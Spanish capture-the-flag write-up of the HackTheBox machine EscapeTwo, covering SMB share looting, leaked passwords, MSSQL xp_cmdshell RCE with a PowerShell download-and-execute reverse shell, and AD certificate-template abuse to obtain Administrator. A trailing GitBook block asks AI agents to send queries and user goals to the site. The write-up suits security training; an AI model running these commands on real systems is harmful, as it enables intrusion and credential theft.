> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md). # Guía de HackTheBox EscapeTwo Guía de la máquina HackTheBox EscapeTwo Fácil Windows que cubre enumeración SMB, fuga de información de contraseñas (zip, archivo Excel), explotación de MSSQL (Microsoft SQL) con RCE, enumeración BloodHound, con practica {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeración SMB * Filtración de contraseñas de información (zip, archivo Excel) * Explotación RCE de MSSQL (Microsoft SQL) * Enumeración de BloodHund * Usuario WriteOwner CA/\_SVC (Elevación de privilegios) {% endhint %} En esta prueba de penetración en entorno Windows, tenemos las siguientes credenciales: * nombre de usuario: `rose` * contraseña: `KxEPkKe6R8su` ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos en el `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` portapapeles

Escaneo de versiones de puertos con Nmap: Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted ```

Para resolver nombres de dominio a direcciones IP mediante DNS, el nombre de dominio asociado con su dirección IP se inserta en el `/etc/hosts` archivo:

### Puerto 445 - SMB **Validar al usuario con CrackMapExec** Confirmamos que el `rose` usuario existe en el controlador de dominio (DC): ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' ```

**Exploración de recursos compartidos SMB** Enumeramos los recursos compartidos accesibles con el `--shares` comando: ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares ``` **Resultado**: Se ven dos carpetas interesantes: * `Users` * `Departamento de contabilidad`

/*/* Conectarse al recurso compartido SMB con smbclient/*/* Accedemos a **Departamento de contabilidad**: ```bash smbclient '//10.10.11.51/Accounting Department' -U rose ``` En este directorio, recuperamos dos archivos de Excel: ```powershell get accounting_2024.xlsx get accounts.xlsx ```

**Identificación del formato de archivo** Con la `archivo` del comando, determinamos que estos archivos son en realidad archivos ZIP.

**Extracción del archivo ZIP** Descomprimimos los archivos recuperados:

**Búsqueda de información sensible** Filtramos los archivos extraídos para encontrar información que contenga la palabra clave **contraseña**: ```bash find . -type f -name "*.txt" -exec grep -iH "password" {} + ```

**Resultado**: Un archivo llamado `shareStrings.xml` contiene una lista de usuarios y contraseñas.

Nombre	Apellido	Correo electrónico	Nombre de usuario	Contraseña
Angela	Martin	angela@sequel.htb	angela	0fwz7Q4mSpurIt99
Oscar	Martinez	oscar@sequel.htb	oscar	86LxLBMgEWaKUnBG
Kevin	Malone	kevin@sequel.htb	kevin	Md9Wlq1E5bZnVDVo
		sa@sequel.htb	sa	MSSQLP@ssw0rd!

**Pruebas de ID con CrackMapExec** Usamos las credenciales recuperadas para validar las cuentas: ```bash crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99' crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG' crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo' crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' ``` **Resultado**: Solo el usuario `oscar` el usuario es válido.

## Explotación de MSSQL (Microsoft SQL) **Puerto 1433 (MSSQL)** El puerto 1433 está abierto, lo que indica que hay un servidor Microsoft SQL escuchando. Probamos las conexiones con los diferentes usuarios recuperados previamente.

**Prueba de conexión MSSQL** Usamos `mssqlclient.py` para intentar conectarse: ```bash mssqlclient.py sequel.htb/angela@10.10.11.51 mssqlclient.py sequel.htb/oscar@10.10.11.51 mssqlclient.py sequel.htb/kevin@10.10.11.51 ```

**Resultado**: Solo el usuario `sa` funciona. ```bash mssqlclient.py sequel.htb/sa@10.10.11.51 ```

### Shell inversa a través de MSSQL **Habilitar la ejecución de comandos** Para ejecutar comandos del sistema, activamos `xp_cmdshell`: ```sql enable_xp_cmdshell ``` Luego probamos con un comando simple, como `ipconfig`: ```sql xp_cmdshell ipconfig ```

**Preparación de la escucha en nuestra máquina** Estamos iniciando una escucha en el puerto 4444: ```bash rlwrap nc -nvlp 4444 ``` **Descargar un script de PowerShell** Estamos preparando un script de PowerShell llamado `PS.ps1` que incluye un comando de shell inversa. Al final del script, añadimos la siguiente línea: {% embed url="" %} Al final del script, añadimos la siguiente línea: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444 ``` Alojamos este script en un servidor web local: ```bash python3 -m http.server 80 ``` **Ejecución de la shell inversa** Desde el servidor MSSQL, ejecutamos el siguiente comando para descargar y ejecutar el script de PowerShell: ```sql xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')" ```

## Pivotando al usuario Ryan **Nuevas credenciales descubiertas** Al explorar el sistema, descubrimos un directorio llamado **SQL2019** en la raíz. Dentro, encontramos las siguientes credenciales: * Nombre de usuario : `ryan` * Contraseña: `WqSZAF6CysDQbGb3`

**Validación de IDs con CrackMapExec** Comprobamos si estas credenciales son válidas: ```bash crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3' ```

Al explorar los directorios compartidos, identificamos un usuario llamado `ryan`. Probamos las mismas credenciales que para `sql_svc`:

**Resultado**: Los identificadores también funcionan para el usuario `ryan`. ```bash crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

Evil-winrm ```bash evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

### Bandera user.txt :)

## Escalada de privilegios ### Enumeración con BloodHund-python Comando usado: ```bash bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All ```

## WriteOwner: **Observación :**/ El **Ryan** usuario tiene la `WriteOwner` autorización en la **CA/ SVC** cuenta, que también es la emisora del certificado. Esto significa que podemos modificar el propietario de la cuenta **CA/ SVC** para asociar **Ryan**.

### Tomar control de CA/\_SVC con BloodyAD #### Cambio del propietario de la cuenta {% code overflow="wrap" %} ```bash bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' ``` {% endcode %} El comando usa BloodyAD para modificar el propietario de **CA/ SVC** y definirlo en **Ryan**. Como propietario, **Ryan** ahora puede cambiar las autoridades asociadas con la cuenta. ### Modificar permisos con Dacledit #### Dar permisos completos a Ryan {% code overflow="wrap" %} ```bash dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3 ``` {% endcode %} Este comando modifica la **DACL** (Lista de control de acceso discrecional) de la **CA/ SVC** cuenta para otorgar control total a **Ryan**. Esto permite a Ryan restablecer la contraseña o manipular las claves de autenticación.

### Extracción de credenciales sombra #### Generar y recuperar la huella del hash NT {% code overflow="wrap" %} ```bash certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51 ``` {% endcode %}

hash NT para **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce` El **Certipy** comando genera una clave de identificación para **CA/ SVC**, lo que permite la autenticación basada en certificados. Un `.ccache` archivo también se genera, lo que facilita ataques basados en Kerberos. ### Modificación de la plantilla del certificado #### Ajustar la plantilla DunderMifflinAuthentication {% code overflow="wrap" %} ```bash KRB5CCNAME=$PWD/ca_svc.ccache certipy template -k -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.10.11.51 ``` {% endcode %}

Este comando modifica la **DunderMifflinAuthentication** plantilla de certificado para permitir la emisión de certificados con privilegios elevados. ### Emisión de un certificado para el administrador #### Solicitar un certificado para suplantación {% code overflow="wrap" %} ```bash certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 ``` {% endcode %}

Este comando solicita un certificado en nombre del Administrador (`Administrator@sequel.htb`), lo que permite usurpar la identidad de esta cuenta. ### Autenticación como Administrador #### Uso del certificado para autenticarse ```bash certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 ```

**Hash NTLMv2 :** `7a8d4e04986afa8ed4060f75e5a0b3ff` ```bash evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff" ```

Este comando se autentica como Administrador con el certificado obtenido previamente y recupera el hash NTLM. ### Bandera root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.